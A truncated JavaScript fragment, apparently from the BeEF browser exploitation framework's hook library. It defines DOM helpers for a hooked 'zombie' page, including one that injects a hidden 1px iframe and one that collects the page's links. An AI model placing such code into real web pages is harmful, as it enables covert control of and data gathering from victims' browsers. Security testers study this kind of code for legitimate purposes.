/*! * @literal object: beef.dom * * Provides functionalities to manipulate the DOM. */ beef.dom = { /** * Creates a new element but does not append it to the DOM. * @param: {String} the name of the element. * @param: {Literal Object} the attributes of that element. * @return: the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); for(index in attributes) { if(typeof attributes[index] == 'string') { el.setAttribute(index, attributes[index]); } } return el; }, /** * Creates an invisible iframe on the zombie's page. * @return: the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { width: '1px', height: '1px', style: 'visibility:hidden;' }); document.body.appendChild(iframe); return iframe; }, /** * Get links of the current page. * @return: array of URLs. */ getLinks: function() { var linksarray = []; var links = document.links; for(var i = 0; i